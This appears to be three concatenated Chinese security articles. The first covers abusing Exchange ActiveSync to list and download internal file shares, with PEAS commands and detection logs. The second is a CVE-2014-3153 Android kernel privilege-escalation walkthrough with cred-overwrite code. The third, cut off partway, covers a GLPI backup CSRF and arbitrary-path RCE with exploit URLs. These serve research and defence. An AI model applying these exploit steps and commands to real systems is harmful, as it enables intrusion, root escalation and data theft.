为了对这个协议有一个切实的了解，同时对服务器进行测试，我们在[指南](http://mobilitydojo.net/2010/03/17/digging-into-the-exchange-activesync-protocol/)和协议文件的帮助之下，编写了一个WBXML的HTTP请求，然后利用Python发送给 Exchange 服务器。
用管理员账户发送一个Sync指令的返回值是状态代码126，记录为”UserDisabledForSync“，意思就是ActiveSync
被禁用。尝试使用新的邮箱账户发送相同的命令就没有这样的问题，这就意味着管理员账户在默认情况下存在一些限制行为。
服务器通过互联网响应了EAS请求，不需要进行额外配置。
**现有软件回顾**
我们想要通过搜索Github、Stackoverflow和谷歌来确定一个内容详尽的Python 项目。如果发现现有的 Python
库不适合，其他两个项目就会用来参考编写新软件。
只有两个Python项目可以直接与使用EAS的服务器通信：pyActiveSync和py-eas-client。对比这两者的性能评估可以确定哪一个更完整地执行了该协议，哪一个更有利于研究。两个库的包装的编写都是为了创建一个一致的接口，并形成我们此次研究成果中的基础工具。
pyActiveSync
pyActiveSync部分支持EAS 12.1版本，可以执行服务器提供的23个指令中的17个。它附带一些示例代码，但是没有相关文档。
pyActiveSync 需要创建的 Python 源文件被称为 proto_creds.py，其中包含 EAS 服务器地址、
用户名和密码。它会永久地存储在本地数据库中以便于日后恢复。
为了在测试环境下使用库，必须要禁用SSL验证。示例代码试图请求”推荐联系人“，但这是根本不存在的，所以也必须禁用。在此之后，这个库就可以成功地向测试服务器器请求邮件了。
py-eas-client
使用一个恰当的setup.py脚本包就可以成功安装py-eas-client。它只支持23个指令中的4个。
py-eas-client使用 Twisted，也就是说它的功能与 Twisted库的运行方式绑定，这使得扩展变得困难。它还会从 Python
库中生成WBXML，这使得其存在极大的限制，还会为其他用户造成大[问题](http://stackoverflow.com/questions/25433201/create-an-activesync-sendmail-request-in-python)，最终只能选择 libwbxml。
要想在测试环境下使用库，还是需要禁用SSL验证。这会变得更加困难，因为必须要了解Twisted才可以完成。示例代码试图请求索引一个不存在的硬编码，所以这里做了修改，请求所有返回值。在这之后，这个库就可以成功地向测试服务器器请求邮件了。
软件回顾总结
pyActiveSync显然比py-eas-client支持更多的指令，同时更新状态也更佳，还不需要过渡到Twisted。这使得pyActiveSync成为了研究人员的更佳选择。
**潜在攻击**
虽然主要目标是获得共享文件的访问权，我们还是选择使用更全面的方式来调查可能存在的攻击。初步研究表明，Exchange
2010之后的版本都不可能支持共享文件的远程访问，但一定还存在其他的攻击形式。
我们解析了EAS文件，想要整理出每个文档示例部分所支持功能的列表。对于每个示例功能来说，可能的攻击手段应该都使用了STRIDE。
我们做出了一份列表，列出了所有支持功能和潜在攻击。根据研究目标的不同，我们按照优先级别排列潜在攻击。完整表格可以在项目的wiki上查看。
我们打算调查的第一个攻击是是否可以使用EAS指令访问WINDOWS共享文件。
**共享文件访问**
首先在服务器上创建两个windows共享文件。一个设置为需要管理员权限，另一个向所有人开放。将文件放置在两个共享目录下。我们的目标就是远程查看文件内容，并且使用EAS下载文件。
EAS文件表明共享文件内容可以通过搜索指令找到，并且使用ItemOperations指令阅读。要想访问文件，必须将存储类型设置为DocumentLibrary。
因为pyActiveSync不支持搜索功能，所以需要扩充库来实现此功能。
我们使用一个标准的用户邮箱来进行第一次EAS测试。找到一条允许共享的UNC路径，如\test-servershare，但是返回了一个错误代码14，意思就是”需要凭据“。对文档进行进一步检查可以定位到搜索指令[子元素](https://msdn.microsoft.com/en-us/library/gg675461%28v=exchg.80%29.aspx)的用户名和密码元素。发送相同的用户名和密码来验证访问权限，可以获得一份目录列表。
将请求更改为限制管理员权限，状态代码改成5”拒绝访问“。使用管理员凭据再次访问EAS服务器，然后选择搜索，就会看到之前的错误”UserDisabledForSync“。但是使用标准用户账号和管理员凭据再次执行搜索请求就可以顺利地获得目录列表。
下一步利用ItemOperations指令进行提取操作来访问共享文件，这种行为和搜索操作的本质是一致的。
添加一台新的windows7虚拟机到域中来测试是否可以访问不同机器上的共享文件。在此机器上创建一个共享，使用相同的方法，在UNC路径中用计算机名称可以获得共享文件。
此外还发现所有的共享文件都可以通过提供UNC路径来获取，但是使用IP地址或机器的 FQDN 就无法获得。
为了进一步测试权限是否被有效控制，需要启用具体的文件共享。使用ID5145来观察日志内容，可以发现被用于访问共享的账户是搜索选项中提供的账户，而不是另一个具有不同权限的账户。
**
**
**阻止Exchange访问共享**
* * *
能够下载文件这一功能已经被报告给了Microsoft，MWR相信这是OWA支持功能的遗留代码。Microsoft回应称这种功能是特地设计的，并且指引MWR重写默认允许下载文件的设置。
建议企业禁用访问文件共享。具体做法指南可以[下载](https://technet.microsoft.com/en-us/library/bb123756\(v=exchg.160\).aspx)，并且将以下这些参数设置成错误：
UNCAccessEnabled
WSSAccessEnabled
MWR还强烈建议企业在OWA和EAS这样的端点上使用客户凭据。
**
**
**检测文件共享访问**
关于攻击者如何利用此功能，研究人员还做了相关调查。
为了鉴别不同的检测手段，创建一个名为filesharetest的新用户邮箱。
如果想要获得共享列表，需要使用下面这些[PEAS](https://labs.mwrinfosecurity.com/tools/peas-access-internal-fileshares-through-exchange-activesync/)指令：
python -m peas -u filesharetest -p ChangeMe123 --list-unc='\fictitious-dc' 10.207.7.100
想要下载共享文件，需要的指令是：
python -m peas -u filesharetest -p ChangeMe123 --dl-unc='\fictitious-dchrpasswords.txt' 10.207.7.100
**Exchange管理员中心（EAC）**
EAC显示的是各用户通过EAS访问Exchang e时使用的设备。可以从收件人查看 > 邮箱 > * 特定邮箱 * > 查看详细信息。
使用PEAS工具的结果是带有家庭和模型Python的条目。这就表明如果细节不是伪造的，而是有效的移动设备，这个条目就会很明显。
**Exchange管理shell**
通过web界面进行人工审查在实际操作中会非常耗时。 使用Exchange cmdlet Get-ActiveSyncDevice
列出所有已知设备，然后进行解析、处理和审查会大大提高效率。
**Exchange日志**
从2013版本开始，许多组件都已经默认启用了日志记录。
日志位于<安装驱动>MicrosoftExchange ServerV15Logging。
有以下这些日志文件格式：
DateTime,RequestId,MajorVersion,MinorVersion,BuildVersion,RevisionVersion,ClientRequestId,Protocol,UrlStem,ProtocolAction,AuthenticationType,IsAuthenticated,AuthenticatedUser,Organization,AnchorMailbox,UserAgent,ClientIpAddress,ServerHostName,HttpStatus,BackEndStatus,ErrorCode,Method,ProxyAction,TargetServer,,TargetServerVersion,RoutingHint,BackEndCookie,ServerLocatorHost,ServerLocatorLatency,RequestBytes,ResponseBytes,TargetOutstandingRequests,AuthModulePerfContext,HttpPipelineLatency,CalculateTargetBackEndLatency,GlsLatencyBreakup,TotalGlsLatency,AccountForestLatencyBreakup,TotalAccountForestLatency,ResourceForestLatencyBreakup,TotalResourceForestLatency,ADLatency,ActivityContextLifeTime,ModuleToHandlerSwitching,FirstResponseByteReceived,ProxyTime,RequestHandlerLatency,HandlerToModuleSwitching,HttpProxyOverhead,TotalRequestTime,UrlQuery,GenericInfo,GenericErrors
列出文件共享
日志路径：./HttpProxy/Eas/HttpProxy_2016081619-1.LOG
2016-08-16T19:46:59.920Z,d40cbe9ba27642d280cba142bcc98f4b,15,0,516,25,,Eas,/Microsoft-Server-ActiveSync/default.eas,,Basic,True,FICTITIOUSfilesharetest,,Sid~S-1-5-21-248127371-2460176072-2993231138-1148,Python,10.207.7.213,FICTITIOUS-DC,200,200,,POST,Proxy,fictitious-dc.fictitious.local,15.00.0516.000,CommonAccessToken-Windows,,,,101,576,1,,13,2,,0,1;,1,,0,1,390.6523,46,333,333,337,0,63,396,?Cmd=Search&User=filesharetest&DeviceId=123456&DeviceType=Python,OnBeginRequest=0;,
请求的真实目的是Python用户代理和数据库，但是这些都很容易伪造，需要使用很好的设备才能进行正确核对。Cmd =
的搜索字符串表示进行了搜索，但它不区分文件共享搜索与其他类型的搜索。
从共享文件中下载文件
日志路径： ./HttpProxy/Eas/HttpProxy_2016081619-1.LOG
2016-08-16T19:56:29.405Z,b9ad62d60d8b4ebc854b75492152a5a4,15,0,516,25,,Eas,/Microsoft-Server-ActiveSync/default.eas,,Basic,True,FICTITIOUSfilesharetest,,Sid~S-1-5-21-248127371-2460176072-2993231138-1148,Python,10.207.7.213,FICTITIOUS-DC,200,200,,POST,Proxy,fictitious-dc.fictitious.local,15.00.0516.000,CommonAccessToken-Windows,,,,103,164,1,,0,0,,0,,0,,0,0,219.0425,60,154,154,156,1,63,217,?Cmd=ItemOperations&User=filesharetest&DeviceId=123456&DeviceType=Python,OnBeginRequest=0;,
请求中的Cmd=ItemOperations 字符串表明服务器中有文件被提取，但是不能确定是否是共享文件。
**IIS日志**
IIS日志目录被存储在 C:inetpublogsLogFiles。内容和 Exchange 日志类似。
列出文件共享
日志路径：./W3SVC1/u_ex160816.log
2016-08-16 19:46:59 10.207.7.100 POST /Microsoft-Server-ActiveSync/default.eas Cmd=Search&User=filesharetest&DeviceId=123456&DeviceType=Python 443 filesharetest 10.207.7.213 Python - 200 0 0 390
日志路径: ./W3SVC2/u_ex160816.log
2016-08-16 19:46:59 fe80::2063:570a:9da1:9b71%12 POST /Microsoft-Server-ActiveSync/Proxy/default.eas Cmd=Search&User=filesharetest&DeviceId=123456&DeviceType=Python&Log=PrxFrom:fe80%3a%3a2063%3a570a%3a9da1%3a9b71%2512_V141_HH:fictitious-dc.fictitious.local%3a444_NMS1_Ssnf:T_Srv:6a0c0d0s0e0r0A0sd_SrchP:Doc_As:AllowedG_Mbx:FICTITIOUS-DC.fictitious.local_Dc:FICTITIOUS-DC.fictitious.local_Throttle0_DBL1_CmdHC-813709136_ActivityContextData:Dbl%3aRPC.T%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d104%3bI32%3aROP.C%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d112060104%3bI32%3aMAPI.C%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d405%3bDbl%3aMAPI.T%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d104%3bDbl%3aMBLB.T%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d93068%3bI32%3aRPC.C%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d208%3bDbl%3aBudgUse.T%5b%5d%3d326.487091064453%3bI32%3aADW.C%5bFICTITIOUS-DC%5d%3d4%3bF%3aADW.AL%5bFICTITIOUS-DC%5d%3d2.65195%3bI32%3aADS.C%5bFICTITIOUS-DC%5d%3d9%3bF%3aADS.AL%5bFICTITIOUS-DC%5d%3d1.892422%3bI32%3aADR.C%5bFICTITIOUS-DC%5d%3d3%3bF%3aADR.AL%5bFICTITIOUS-DC%5d%3d1.149233%3bDbl%3aST.T%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d68%3bDbl%3aSTCPU.T%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d60%3bI32%3aMB.C%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d208%3bF%3aMB.AL%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d0.4999998%3bS%3aWLM.Cl%3dCustomerExpectation%3bS%3aWLM.Type%3dEas%3bS%3aWLM.Int%3dTrue%3bS%3aWLM.SvcA%3dFalse%3bS%3aWLM.Bal%3d239706.2_Budget:(D)Owner%3aSid%7eFICTITIOUS%5cfilesharetest%7eEas%7efalse%2cConn%3a1%2cMaxConn%3a10%2cMaxBurst%3a240000%2cBalance%3a239706.2%2cCutoff%3a600000%2cRechargeRate%3a360000%2cPolicy%3aGlobalThrottlingPolicy%5Fcae6aef5-cfdd-4445-992c-d92a88aae1a9%2cIsServiceAccount%3aFalse%2cLiveTime%3a00%3a00%3a00.3264871_ 444 FICTITIOUSfilesharetest fe80::2063:570a:9da1:9b71%12 Python - 200 0 0 326
从文件共享中下载文件
日志路径: ./W3SVC1/u_ex160816.log
2016-08-16 19:56:29 10.207.7.100 POST /Microsoft-Server-ActiveSync/default.eas Cmd=ItemOperations&User=filesharetest&DeviceId=123456&DeviceType=Python 443 filesharetest 10.207.7.213 Python - 200 0 0 219
日志路径: ./W3SVC2/u_ex160816.log
2016-08-16 19:56:29 fe80::2063:570a:9da1:9b71%12 POST /Microsoft-Server-ActiveSync/Proxy/default.eas Cmd=ItemOperations&User=filesharetest&DeviceId=123456&DeviceType=Python&Log=PrxFrom:fe80%3a%3a2063%3a570a%3a9da1%3a9b71%2512_V141_HH:fictitious-dc.fictitious.local%3a444_Unc1_Uncb51_ItOfd1_As:AllowedG_Mbx:FICTITIOUS-DC.fictitious.local_Dc:FICTITIOUS-DC.fictitious.local_Throttle0_DBL1_CmdHC1949035196_ActivityContextData:Dbl%3aRPC.T%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d0%3bI32%3aROP.C%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d2742544%3bI32%3aMAPI.C%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d10%3bDbl%3aMAPI.T%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d0%3bI32%3aRPC.C%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d5%3bDbl%3aBudgUse.T%5b%5d%3d140.307403564453%3bI32%3aADS.C%5bFICTITIOUS-DC%5d%3d7%3bF%3aADS.AL%5bFICTITIOUS-DC%5d%3d1.405357%3bI32%3aADR.C%5bFICTITIOUS-DC%5d%3d1%3bF%3aADR.AL%5bFICTITIOUS-DC%5d%3d2.1972%3bI32%3aMB.C%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d5%3bF%3aMB.AL%5bFICTITIOUS-DC.cf3a1fe7-5195-4fb8-b1d6-c2554ecd70c7%5d%3d0%3bS%3aWLM.Cl%3dCustomerExpectation%3bS%3aWLM.Type%3dEas%3bS%3aWLM.Int%3dTrue%3bS%3aWLM.SvcA%3dFalse%3bS%3aWLM.Bal%3d239873.7_Budget:(D)Owner%3aSid%7eFICTITIOUS%5cfilesharetest%7eEas%7efalse%2cConn%3a1%2cMaxConn%3a10%2cMaxBurst%3a240000%2cBalance%3a239873.7%2cCutoff%3a600000%2cRechargeRate%3a360000%2cPolicy%3aGlobalThrottlingPolicy%5Fcae6aef5-cfdd-4445-992c-d92a88aae1a9%2cIsServiceAccount%3aFalse%2cLiveTime%3a00%3a00%3a00.1403074_ 444 FICTITIOUSfilesharetest fe80::2063:570a:9da1:9b71%12 Python - 200 0 0 155
**Windows事件日志**
有了详细的文件共享启用日志记录，ID5145创建的事件日志表明访问文件的目标路径。虽然不能确定是否有别于正常访问，但是可以从IIS和Exchange日志中看出一二。
列出文件共享
以下条目在每次共享中都有相应的共享名称。
从文件共享中下载文件
**
**
**建议调查步骤**
解析Exchange cmdlet Get-ActiveSyncDevice 输出，并审查是否存在异常。
解析IIS和Exchange日志的EAS命令条目，特别是包含Cmd=ItemOperations的指令。
确定结果数需要的调查等级。
考虑已知的合法设备和EAS请求是否可以被删除。
参考windows事件日志，以确定EAS指令运行的同时是否可以访问文件共享。
**结论**
* * *
大量企业使用Exchange ActiveSync ，并且可以从外部进行访问。通常企业会控制网络访问权限，比如域控制器网络内的主机以及对敏感数据的控制。
这项研究表明了不架构网络的不安全性。合法功能会被滥用来解压缩文件，远程代码会被执行，攻击者将会成为网络中的霸主。
建议企业仔细设计自己的网络，将其与其他主机隔开，以避免滥用的发生。 | 社区文章 |
Android内核漏洞学习——CVE-2014-3153分析（1）[<https://xz.aliyun.com/t/6907>]
上篇文章主要介绍了漏洞原理及漏洞相关知识，本篇主要介绍漏洞利用手法
### 漏洞利用
利用requeue和relock导致的结果是在pi_state->pi_mutex残留了一个在线程2栈上的rt_waiter
我们可以 ** _重用栈空间_** 来控制rt_waiter
我们先分析下栈空间，我们用[checkstack.pl](https://github.com/spotify/linux/blob/master/scripts/checkstack.pl)脚本分析下
arm-linux-androideabi-objdump -d vmlinux | ./checkstack.pl arm
rt_waiter并不是栈空间最后，所以我们要覆盖并不需要达到196栈深度，towelroot选择了用__sys_sendmmsg去操作rt_waiter
我们先看下rt_waiter的struct
图（图源自天融信阿尔法实验室分析文章）为___sys_sendmsg函数栈上数据与rt_waiter的重叠部分
其中一部分数据是iovstack（*（msgvec.msg_iov））的部分内容，一部分是msgvec.msg_name的部分内容。所以很明显，
通过写入特定的msgvec.msg_name和msgvec.msg_iov，就可以改写rt_waiter节点的内容，使之按照我们的路径去执行。
所以我们应该怎样修改，漏洞利用中，我们要做的是通过修改链表，往特定地址写入值，下面我们可以看一个小例子
void node_remove(struct node *n)
{
//lets skip handling for first and last element,
//assume that we only delete something in the middle
struct node *prevnode = n->prev;
struct node *nextnode = n->next;
nextnode->prev = prevnode;
prevnode->next = nextnode;
}
如果我们可以控制n的内容，就可以将值写入任意地址
X为我们想写入的地址，fakenode是我们构造的假结构体
n->prev = X-8;
n->next = fakenode;
然后我们call node_remove可以造成以下效果，往X里写入fakenode的地址
(n->next)->prev = n->prev;
(n->prev)->next = n->next;
(fakenode)->prev = n->prev;
(X-8)->next = fakenode;
这里需要利用到plist链表。在plist链表中有两个链，一个是prio链，一个是节点链。那么一个节点，
为什么要两个链？因为他们具有不同的视图，用途不一样。链表中的每个节点都不同，但是他们的prio值是可以相同的（具有相同的优先级），所以
node_list链接了所有节点，而prio_list仅链接了prio不同的节点，具体情况如下图（源于天融信阿尔法实验室分析文章）:
我们利用内核锁的唤醒在内核中插入链表，这个插入的位置可以根据prio参数来选择，因为程序会按顺序排，我们只要适当的修改prio参数即可
这时候我们在用户空间mma一块内存，按照rt_waiter的结构初始化指针，创建一个fake_node
然后将fake_node链在rt_waiter后面，通过fake_node.list_entry.prio_list.next我们可以拿到rt_waiter内核态的栈地址
我们现在有了内核态的栈地址，也可以往任意地址写此值，那么怎么才能够对内核的任意地址进行写入任意值？我们需要修改thread_info ->
addr_limit，这个变量规定了特定线程的用户空间地址最大值，超过这个值的地址，用户空间代码不能访问，这里有个小技巧，$sp(任意内核栈的地址) &
0xffffe000 == thread_info
addr，我们现在有了addr_limit的地址，可以将addr_limit改大，但是这时我们修改addr_limit的值不可控，由于不同线程的rt_waiter的addr不同，且无法预测，所以我们可以不断往addr_limit写入rt_waiter的地址，直到此地址>addr_limit的地址，然后往addr_limit写入0xffffffff，从而达到内核栈任意写的目的
下面是改写addr_limit的具体流程
0x71是栈上遗留的rt_waiter，0x81和0x85是用户态创建的fake_node，这时候我们将0x85的prev指向addr_limit，然后我们用调用futex_lock_pi插入新节点0x84，并按prio优先级排序，这样我们可以向addr_limit写入0x84的next指针
下面是多线程循环写入addr_limit具体流程
A起到了监听效果，循环读取addr_limit的值，可以了就往addr_limit写入0xfffffff，B起到了循环写入的效果
我们拿到内核栈任意写的权限之后我们可以修改thread->task_struct->cred，修改uid、gid、suid为0，从而实现root提权
cred->uid = 0;
cred->gid = 0;
cred->suid = 0;
cred->sgid = 0;
cred->euid = 0;
cred->egid = 0;
cred->fsuid = 0;
cred->fsgid = 0;
cred->cap_inheritable.cap[0] = 0xffffffff;
cred->cap_inheritable.cap[1] = 0xffffffff;
cred->cap_permitted.cap[0] = 0xffffffff;
cred->cap_permitted.cap[1] = 0xffffffff;
cred->cap_effective.cap[0] = 0xffffffff;
cred->cap_effective.cap[1] = 0xffffffff;
cred->cap_bset.cap[0] = 0xffffffff;
cred->cap_bset.cap[1] = 0xffffffff;
security = cred->security;
if (security) {
if (security->osid != 0
&& security->sid != 0
&& security->exec_sid == 0
&& security->create_sid == 0
&& security->keycreate_sid == 0
&& security->sockcreate_sid == 0) {
security->osid = 1;
security->sid = 1;
}
}
利用步骤总结如下：
1. 在用户态调用mmap开辟一块空间，按照rt_waiter的结构初始化指针，创建一个fake_node
2. 将将fake_node链在rt_waiter后面，拿到thread_info地址
3. 利用prio的指针链表实现可控地址写不可控值
4. 多线程改写addr_limit，实现内核栈地址任意写
5. 修改thread_info->task_struct->cred实现root提权
### 官方补丁
cve-2014-3153打的补丁，<https://github.com/torvalds/linux/commit/e9c243a5a6de0be8e584c604d353412584b592f8>
struct futex_q *this, *next;
if (requeue_pi) {
/*
* Requeue PI only works on two distinct uaddrs. This
* check is only valid for private futexes. See below.
*/
if (uaddr1 == uaddr2)
return -EINVAL;
补丁要求两个futexes地址不同，修补了requeue bug
### 总结
内核漏洞的利用要对内核漏洞相关的数据结构十分清晰，这时候源码很重要，此漏洞本质上是uaf的利用，精妙的构思使得两个不起眼的漏洞拥有了巨大的威力，十分佩服写出来exp的大牛及漏洞发现者，同时也感谢网上各篇分析文章的作者
### reference
<http://kouucocu.lofter.com/post/1cdb8c4b_50f62fe>
<https://elixir.bootlin.com/linux/v3.4/source/kernel/futex.c#L1967>
<http://blog.topsec.com.cn/cve2014-3153/>
<https://blog.thecjw.me/?p=564>
《漏洞战争》CVE-2014-3153Android内核Futex提取漏洞 | 社区文章 |
原文地址：<https://offsec.almond.consulting/playing-with-gzip-rce-in-glpi.html>
**产品** ：0.85（2014年发布）到9.4.5（包括9.4.5，2019年发布）的所有GLPI版本。 有关受影响版本的更多详细信息，请参见专题部分。
**类型** ：远程代码执行（理论：未验证；实际：已验证）
**摘要**
：GLPI的备份功能（CVE-2020-11060），存在远程代码执行（RCE）漏洞。通过创建PHP/GZIP文件，可以滥用任意路径和哈希路径泄露来在GLPI主机上执行代码。我们描述了一种利用方法，使用技术人员帐户通过特制的gzip/php
webshell在WiFi网络备注实现RCE。
_已更新，加入关于受影响版本的更多详细信息。_
摘自[Wikipedia](https://en.wikipedia.org/wiki/GLPi "Wikipedia"):
> _GLPI（法语缩写：Gestionnaire Libre de Parc Informatique，或英文“ Open Source IT
> Equipment Manager”）是一个开源的IT资产管理、问题跟踪系统和服务台系统，编写语言为PHP。_
其源码可以在[GitHub](https://github.com/glpi-project/glpi "GitHub")上找到。
本文深入探讨了GLPI中发现的一个漏洞，在研究过程中还发现了其他漏洞，可以在这里查看：[Multiple vulnerabilities in
GLPI](https://offsec.almond.consulting/multiple-vulnerabilities-in-glpi.html
"Multiple vulnerabilities in GLPI")
# Vulnerability details
## CSRF
具有maintenance权限的GLPI用户可以通过菜单执行SQL/XML dumps：
这些操作存在跨站请求伪造（CSRF）漏洞。实际上，执行GET请求时不会进行额外的检查：
* SQL备份：<http://host/front/backup.php?dump=dump>
* XML备份：[http://host/front/backup.php?xmlnow=xmlnow](http://http://host/front/backup.php?xmlnow=xmlnow "http://host/front/backup.php?xmlnow=xmlnow")
[默认情况下](https://glpi-install.readthedocs.io/en/latest/install/index.html#files-and-directories-locations
"默认情况下")，dumps存储在`GLPI_DUMP_DIR`目录中，也就是说，可以在以下目录中找到：[http//host/files/_dumps/](http://host/files/_dumps/
"http//host/files/_dumps/")。
[filename参数定义](https://github.com/glpi-project/glpi/blob/3717a5ae3419d01d30c7223f0c18330891e06bbb/front/backup.php#L411
"filename参数定义")如下所示：
<?php
$time_file = date("Y-m-d-H-i");
//For XML Dumps
$filename = GLPI_DUMP_DIR . "glpi-backup-" . GLPI_VERSION . "-$time_file.xml";
//For SQL Dumps
$filename = GLPI_DUMP_DIR . "glpi-backup-".GLPI_VERSION."-$time_file.sql.gz";
`$filename`示例（webroot为`/var/www/glpi`）:`/var/www/glpi/files/_dumps/glpi-backup-9.4.5-2020-03-02-14-15.sql.gz`
如果`GLPI_DUMP_DIR`被修改到webroot之外，例如被`.htaccess`更改，会怎样？
理论上，这个漏洞可能允许blind/unauthenticated的RCE-但如后文所述，还有其他障碍需要克服。
## Arbitrary filename
SQL备份可以将GET参数`fichier`作为文件名，如[/front/backup.php](https://github.com/glpi-project/glpi/blob/7093bde3eef8c3fda7cc5d2a532d35b39c189a1f/front/backup.php#L448
"/front/backup.php")中所示：
<?php
if (!isset($_GET["fichier"])) {
$fichier = $filename;
} else {
$fichier = $_GET["fichier"];
}
我们可以选择在哪里写入SQL dump，虽然XML备份并非如此。但是请注意，这个参数不能通过Web界面设置。
通过使用[ftp：//](https://www.php.net/manual/en/wrappers.php
"ftp：//")之类的方案，可以使用CSRF直接写入到我们的服务器上。为了实现这一点，[必须在php.ini中启用`allow_url_fopen`指令](https://www.php.net/manual/en/features.remote-files.php
"必须在php.ini中启用`allow_url_fopen`指令")（这是[默认设置](https://www.php.net/manual/en/ini.list.php
"默认设置")），并且不存在阻止外联的网络策略。
也可以直接写在Web根目录中，但是必须知道路径。
## Hashed Path Disclosure
GLPI cookie名称实际上是应用程序路径的哈希[构造](https://github.com/glpi-project/glpi/blob/26120fe1d4e91834abe8a28ab121621ef169ac33/inc/session.class.php#L197
"构造")的：
<?php
session_name("glpi_".md5(realpath(GLPI_ROOT)));
一个测试的例子：
$ curl -I "http://192.168.1.68/"
HTTP/1.1 200 OK
Date: Thu, 30 Apr 2020 15:15:00 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: glpi_40d1b2d83998fabacb726e5bc3d22129=clmbcjumobsachvvp9cdtev192; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
$ echo -n "/var/www/html" | md5sum
40d1b2d83998fabacb726e5bc3d22129 -
使用带有自定义路径字典的[hashcat](https://hashcat.net/hashcat/ "hashcat")可以还原常见的路径。
结合以前的漏洞，CSRF/手动备份的PoC现在看起来像这样：
[http://host/front/backup.php?dump=dump&fichier=/var/www/html/dump.sql.gz](http://host/front/backup.php?dump=dump&fichier=/var/www/html/dump.sql.gz
"http://host/front/backup.php?dump=dump&fichier=/var/www/html/dump.sql.gz")
通过CSRF获得一个完整的数据库dump是件很不错的事情，但是在webroot中写入一个潜在的部分控制的文件意味着我们可以在服务器上执行代码。
但是，最初使用`.sql.gz`扩展名是因为GLPI定义的[backupMySql](https://github.com/glpi-project/glpi/blob/7093bde3eef8c3fda7cc5d2a532d35b39c189a1f/front/backup.php#L315
"backupMySql")函数使用[gzopen](https://www.php.net/manual/en/function.gzopen.php
"gzopen")/[gzwrite](https://www.php.net/manual/en/function.gzwrite.php
"gzwrite") PHP函数来创建gzip压缩的SQL文件：
<?php
function backupMySql($DB, $dumpFile, $duree, $rowlimit) {
global $TPSCOUR, $offsettable, $offsetrow, $cpt;
// $dumpFile, fichier source
// $duree=timeout pour changement de page (-1 = aucun)
if (function_exists('gzopen')) {
$fileHandle = gzopen($dumpFile, "a");
} else {
$fileHandle = gzopen64($dumpFile, "a");
}
我们可以在webroot中写入一个`.php`文件，其中包含数据库的备份（包括用户输入），但该文件是被gzip压缩的。因此，我们需要一种方法来制作gzip压缩的PHP文件，即gzip压缩的MySQL
dump文件，其中包含一个PHP webshell，但仅控制部分的数据库内容。
# POC
## Another hidden GET Parameter
对于攻击者来说，最有趣的场景是无需任何帐户利用漏洞，只需要利用CSRF即可。实际上，有一些方法可以在表中生成数据，例如保存在`glpi_events`表中的失败登录：
+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+
| id | items_id | type | date | service | level | message |
+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+
| 8595 | -1 | system | 2020-03-06 15:44:10 | login | 3 | Failed login for MyUsername from IP 172.20.0.17 |
+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+
但是，攻击者无法在这前后控制其他所有表，所以在压缩文件中获得确定的输出看起来非常困难（稍后会详细介绍）。
为了让事情变得简单，从现在开始我们假设拥有GLPI用户，该用户具有`Maintenance`权限（备份需要）。
这个权限被授予默认`Technician`配置，关联默认`tech`用户（默认密码：`tech`）。
另一个[在/front/backup.php文件中的隐藏GET参数](https://github.com/glpi-project/glpi/blob/7093bde3eef8c3fda7cc5d2a532d35b39c189a1f/front/backup.php#L420
"在/front/backup.php文件中的隐藏GET参数")将会很有用:
<?php
if (!isset($_GET["offsettable"])) {
$offsettable = 0;
} else {
$offsettable = $_GET["offsettable"];
}
这个参数指示了dump必须从哪个表ID开始：
<?php
$result = $DB->listTables();
$numtab = 0;
while ($t = $result->next()) {
$tables[$numtab] = $t['TABLE_NAME'];
$numtab++;
}
for (; $offsettable<$numtab; $offsettable++) {
// Dump de la structure table
默认情况下，所有表都被dump（`$ offsettable = 0`），PoC中我们将使用`$ offsettable =
312`：仅dump最后一个表，即`glpi_wifinetworks`表。
这个表的dump如下所示：
### Dump table glpi_wifinetworks
DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`entities_id` int(11) NOT NULL DEFAULT '0',
`is_recursive` tinyint(1) NOT NULL DEFAULT '0',
`name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
`comment` text COLLATE utf8_unicode_ci,
`date_mod` datetime DEFAULT NULL,
`date_creation` datetime DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `entities_id` (`entities_id`),
KEY `essid` (`essid`),
KEY `name` (`name`),
KEY `date_mod` (`date_mod`),
KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','Name','ESSID','ad-hoc','comment','2020-04-25 11:14:39','2020-04-21 10:55:09');
